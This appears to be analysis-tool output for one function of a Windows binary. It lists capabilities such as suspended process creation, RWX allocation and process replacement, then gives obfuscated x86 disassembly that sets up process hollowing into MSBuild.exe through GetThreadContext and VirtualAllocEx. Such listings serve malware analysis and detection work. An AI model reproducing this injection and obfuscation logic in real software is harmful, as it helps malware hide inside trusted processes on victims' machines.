Function at 0x10002ef0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x11c
mov eax, dword [0x10068200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x124], 0x8f98a28b
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x128], eax
sub eax, 0x8062524c
je 0x1000563c
jmp 0x10002f2c
mov eax, dword [ebp - 0x128]
sub eax, 0x80e1a722
je 0x10007eca
jmp 0x10002f42
mov eax, dword [ebp - 0x128]
sub eax, 0x824935ae
je 0x10008e82
jmp 0x10002f58
mov eax, dword [ebp - 0x128]
sub eax, 0x824d90f0
je 0x100060f9
jmp 0x10002f6e
mov eax, dword [ebp - 0x128]
sub eax, 0x84e2e8dd
je 0x1000a3d6
jmp 0x10002f84
mov eax, dword [ebp - 0x128]
sub eax, 0x8612c3af
je 0x10007c32
jmp 0x10002f9a
mov eax, dword [ebp - 0x128]
sub eax, 0x861b71f6
je 0x10006c77
jmp 0x10002fb0
mov eax, dword [ebp - 0x128]
sub eax, 0x867592e1
je 0x10008cab
jmp 0x10002fc6
mov eax, dword [ebp - 0x128]
sub eax, 0x8699fc74
je 0x100054b2
jmp 0x10002fdc
mov eax, dword [ebp - 0x128]
sub eax, 0x87f2e105
je 0x10005e56
jmp 0x10002ff2
mov eax, dword [ebp - 0x128]
sub eax, 0x8938843d
je 0x10008c68
jmp 0x10003008
mov eax, dword [ebp - 0x128]
sub eax, 0x8aa04c21
je 0x10008fb0
jmp 0x1000301e
mov eax, dword [ebp - 0x128]
sub eax, 0x8b9005f0
je 0x10009c7a
jmp 0x10003034
mov eax, dword [ebp - 0x128]
sub eax, 0x8bfaee5a
je 0x10008ade
jmp 0x1000304a
mov eax, dword [ebp - 0x128]
sub eax, 0x8ca54ecd
je 0x100058e4
jmp 0x10003060
mov eax, dword [ebp - 0x128]
sub eax, 0x8ccda23b
je 0x1000846a
jmp 0x10003076
mov eax, dword [ebp - 0x128]
sub eax, 0x8db9b4f7
je 0x10007a08
jmp 0x1000308c
mov eax, dword [ebp - 0x128]
sub eax, 0x8e0a4ec4
je 0x100060d8
jmp 0x100030a2
mov eax, dword [ebp - 0x128]
sub eax, 0x8e706323
je 0x10006a9a
jmp 0x100030b8
mov eax, dword [ebp - 0x128]
sub eax, 0x8f015387
je 0x10007800
jmp 0x100030ce
mov eax, dword [ebp - 0x128]
sub eax, 0x8f0db4af
je 0x10006dd0
jmp 0x100030e4
mov eax, dword [ebp - 0x128]
sub eax, 0x8f8f515c
je 0x1000a742
jmp 0x100030fa
mov eax, dword [ebp - 0x128]
sub eax, 0x8f98a28b
je 0x1000510d
jmp 0x10003110
mov eax, dword [ebp - 0x128]
sub eax, 0x9061ef22
je 0x10009657
jmp 0x10003126
mov eax, dword [ebp - 0x128]
sub eax, 0x9066e306
je 0x1000a4de
jmp 0x1000313c
mov eax, dword [ebp - 0x128]
sub eax, 0x90d82dbd
je 0x1000987b
jmp 0x10003152
mov eax, dword [ebp - 0x128]
sub eax, 0x920219f8
je 0x100075f0
jmp 0x10003168
mov eax, dword [ebp - 0x128]
sub eax, 0x92374176
je 0x100052c4
jmp 0x1000317e
mov eax, dword [ebp - 0x128]
sub eax, 0x92ea47d4
je 0x10006d48
jmp 0x10003194
mov eax, dword [ebp - 0x128]
sub eax, 0x937df4ce
je 0x100057f9
jmp 0x100031aa
mov eax, dword [ebp - 0x128]
sub eax, 0x94144ec7
je 0x100070ef
jmp 0x100031c0
mov eax, dword [ebp - 0x128]
sub eax, 0x942cb213
je 0x1000968f
jmp 0x100031d6
mov eax, dword [ebp - 0x128]
sub eax, 0x9467cf76
je 0x1000a29e
jmp 0x100031ec
mov eax, dword [ebp - 0x128]
sub eax, 0x948effac
je 0x10006500
jmp 0x10003202
mov eax, dword [ebp - 0x128]
sub eax, 0x9510c31b
je 0x10009814
jmp 0x10003218
mov eax, dword [ebp - 0x128]
sub eax, 0x956a6d20
je 0x100085eb
jmp 0x1000322e
mov eax, dword [ebp - 0x128]
sub eax, 0x957f16a7
je 0x1000919f
jmp 0x10003244
mov eax, dword [ebp - 0x128]
sub eax, 0x95841072
je 0x10005fb2
jmp 0x1000325a
mov eax, dword [ebp - 0x128]
sub eax, 0x970c4172
je 0x1000954f
jmp 0x10003270
mov eax, dword [ebp - 0x128]
sub eax, 0x972a7819
je 0x10005302
jmp 0x10003286
mov eax, dword [ebp - 0x128]
sub eax, 0x974f713e
je 0x10005330
jmp 0x1000329c
mov eax, dword [ebp - 0x128]
sub eax, 0x97995654
je 0x1000621a
jmp 0x100032b2
mov eax, dword [ebp - 0x128]
sub eax, 0x97a2655d
je 0x10007a29
jmp 0x100032c8
mov eax, dword [ebp - 0x128]
sub eax, 0x983ed56c
je 0x10008d5e
jmp 0x100032de
mov eax, dword [ebp - 0x128]
sub eax, 0x9912921a
je 0x100099a1
jmp 0x100032f4
mov eax, dword [ebp - 0x128]
sub eax, 0x9b06e2af
je 0x10009fd7
jmp 0x1000330a
mov eax, dword [ebp - 0x128]
sub eax, 0x9cf629bf
je 0x10007687
jmp 0x10003320
mov eax, dword [ebp - 0x128]
sub eax, 0x9db6e01e
je 0x10005873
jmp 0x10003336
mov eax, dword [ebp - 0x128]
sub eax, 0x9e8a941c
je 0x10005bbe
jmp 0x1000334c
mov eax, dword [ebp - 0x128]
sub eax, 0x9eb96168
je 0x100071fa
jmp 0x10003362
mov eax, dword [ebp - 0x128]
sub eax, 0x9f2411ed
je 0x1000a0a3
jmp 0x10003378
mov eax, dword [ebp - 0x128]
sub eax, 0x9fe297b3
je 0x100072f0
jmp 0x1000338e
mov eax, dword [ebp - 0x128]
sub eax, 0xa0e1134b
je 0x10006a1a
jmp 0x100033a4
mov eax, dword [ebp - 0x128]
sub eax, 0xa10ce2fd
je 0x10005a31
jmp 0x100033ba
mov eax, dword [ebp - 0x128]
sub eax, 0xa1e634b4
je 0x100080e8
jmp 0x100033d0
mov eax, dword [ebp - 0x128]
sub eax, 0xa21bae5e
je 0x1000a084
jmp 0x100033e6
mov eax, dword [ebp - 0x128]
sub eax, 0xa2b925e9
je 0x10009ff8
jmp 0x100033fc
mov eax, dword [ebp - 0x128]
sub eax, 0xa3041be5
je 0x100063aa
jmp 0x10003412
mov eax, dword [ebp - 0x128]
sub eax, 0xa3ba0ffe
je 0x10009dbf
jmp 0x10003428
mov eax, dword [ebp - 0x128]
sub eax, 0xa48f53ff
je 0x1000963d
jmp 0x1000343e
mov eax, dword [ebp - 0x128]
sub eax, 0xa4e76df1
je 0x1000609a
jmp 0x10003454
mov eax, dword [ebp - 0x128]
sub eax, 0xa4ef9fd9
je 0x100065b0
jmp 0x1000346a
mov eax, dword [ebp - 0x128]
sub eax, 0xa4f37f75
je 0x10005722
jmp 0x10003480
mov eax, dword [ebp - 0x128]
sub eax, 0xa5f3cdc1
je 0x10005882
jmp 0x10003496
mov eax, dword [ebp - 0x128]
sub eax, 0xa63e4e7a
je 0x10006936
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xf0], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x124], 0xe937ce38
jmp 0x1000a849
movss xmm0, dword [0x100173a0]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x124], 0xd253cf8b
jmp 0x1000a849
mov dword [ebp - 0x124], 0xffcf7f28
jmp 0x1000a849
mov dl, 1
mov eax, 0xb50605b5
mov ecx, 0xecd23edf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
movss xmm0, dword [0x10017220]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x1001721c]
movss dword [ebp - 0x120], xmm0
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
mov edx, eax
sub edx, 0x7f25cdb5
sub edx, 1
add edx, 0x7f25cdb5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x727209a2
mov ecx, 0xe232a24e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
mov edx, ecx
sub edx, 0xac103162
sub edx, 1
add edx, 0xac103162
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc7fbc954
mov ecx, 0xde93742d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
mov edx, ecx
add edx, 0x2b0f5562
sub edx, 1
sub edx, 0x2b0f5562
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa21bae5e
mov ecx, 0xcf07b361
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov dword [ebp - 0x124], 0xdc8ab160
jmp 0x1000a849
mov dword [ebp - 0x124], 0xa5f3cdc1
jmp 0x1000a849
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10017380]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001737c]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xf04f16e1
jmp 0x1000a849
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10017374]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10017370]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x4fad6d00
jmp 0x1000a849
mov dword [ebp - 0x124], 0xaeeeee10
jmp 0x1000a849
mov dword [ebp - 0x124], 0xa8d78115
jmp 0x1000a849
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10017200]
movss dword [eax], xmm0
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
mov edx, ecx
add edx, 0x559fc6d4
sub edx, 1
sub edx, 0x559fc6d4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf641d846
mov ecx, 0x5a0ab68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
mov edx, ecx
sub edx, 0x53e636ac
sub edx, 1
add edx, 0x53e636ac
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6dc6337a
mov ecx, 0xe5a7e3a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov dl, 1
mov eax, 0x824d90f0
mov ecx, 0xef879385
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x10017334]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x824d90f0
jmp 0x1000a849
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
mov edx, eax
sub edx, 0xb6969ddd
sub edx, 1
add edx, 0xb6969ddd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x146361e
mov ecx, 0x14268de3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100171f4]
movss dword [eax], xmm0
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d3a7ea1
mov ecx, 0xf3426c5c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
mov edx, ecx
sub edx, 0xb424b27b
sub edx, 1
add edx, 0xb424b27b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe8bb8b9b
mov ecx, 0xfe45f04b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100171e8]
movss dword [eax], xmm0
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4f4631f8
mov ecx, 0xea9059d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
mov edx, ecx
add edx, 0x3b317fa3
sub edx, 1
sub edx, 0x3b317fa3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf96a585
mov ecx, 0x24cb7c7c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov dl, 1
mov eax, 0xd4aa2356
mov ecx, 0x15e1d42d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6d62c992
mov ecx, 0x51d315fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10017304]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x70e6d016
jmp 0x1000a849
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100171d4]
movss dword [eax], xmm0
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
mov edx, ecx
add edx, 0x88c6d4c9
sub edx, 1
sub edx, 0x88c6d4c9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9467cf76
mov ecx, 0x8f0db4af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov dword [ebp - 0x124], 0xe19e07c4
jmp 0x1000a849
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100171c8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100171c4]
movss dword [eax], xmm0
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x499fc908
mov ecx, 0x6cb54d4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfee23bba
mov ecx, 0x20d47e68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov dword [ebp - 0x124], 0x29e38062
jmp 0x1000a849
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100172b0]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xde1e511
jmp 0x1000a849
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb6f5fba5
mov ecx, 0x787c48bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100171b8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100171b4]
movss dword [eax], xmm0
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbf5c778b
mov ecx, 0x43d205b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10017290]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x97a2655d
jmp 0x1000a849
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
mov edx, ecx
add edx, 0x73a33380
sub edx, 1
sub edx, 0x73a33380
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x84e2e8dd
mov ecx, 0xc2956772
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe0a75db9
mov ecx, 0xfab0827e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov dl, 1
mov eax, 0xb3d1aff5
mov ecx, 0x4ee4f66f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10017264]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0x207a007f
jmp 0x1000a849
mov dl, 1
mov eax, 0x6e8affb2
mov ecx, 0xbc62d4f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001723c]
movss dword [eax], xmm0
mov dword [ebp - 0x124], 0xf55816e0
jmp 0x1000a849
mov eax, dword [ebp - 0x9c]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xe8]
mov byte [eax], cl
mov eax, dword [ebp - 0xe4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x95], al
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x27c78c17
mov ecx, 0x6c35bbfa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov dword [ebp - 0x124], 0x867592e1
jmp 0x1000a849
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0xbe2dda7a
mov ecx, 0xa6b465fb
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov eax, dword [ebp - 0x8c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0xf0]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov edx, dword [ebp - 0xdc]
mov eax, 0xc129fc5e
mov ecx, 0xdd7de154
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov ecx, dword [0x10069528]
mov eax, dword [0x10069524]
mov edx, ecx
add edx, 0xed82bf0b
sub edx, 1
sub edx, 0xed82bf0b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7a5df097
mov ecx, 0xf4967336
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov dword [ebp - 0x124], 0xc129fc5e
jmp 0x1000a849
mov dl, byte [ebp - 0x71]
mov eax, 0xa48f53ff
mov ecx, 0x386c972a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov dl, byte [ebp - 0x51]
mov eax, 0x503fbdef
mov ecx, 0x2fb132dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x124], 0x9061ef22
jmp 0x1000a849
mov edx, dword [ebp - 0x44]
mov eax, 0xf69ea975
mov ecx, 0xb0dec27b
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0x40]
mov eax, 0xf69ea975
mov ecx, 0xdc5d9afe
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
mov edx, eax
add edx, 0x2455f024
sub edx, 1
sub edx, 0x2455f024
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8f8f515c
mov ecx, 0x90d82dbd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x124], eax
jmp 0x1000a849
mov dword [ebp - 0x124], 0x1bb96481
jmp 0x1000a849
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
add eax, 0x1626728b
add eax, ecx
sub eax, 0x1626728b
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x124], 0xbc3819d9
jmp 0x1000a849
mov dword [ebp - 0x124], 0xc92eb6e2
jmp 0x1000a849
mov eax, dword [0x10069528]
mov ecx, dword [0x10069524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
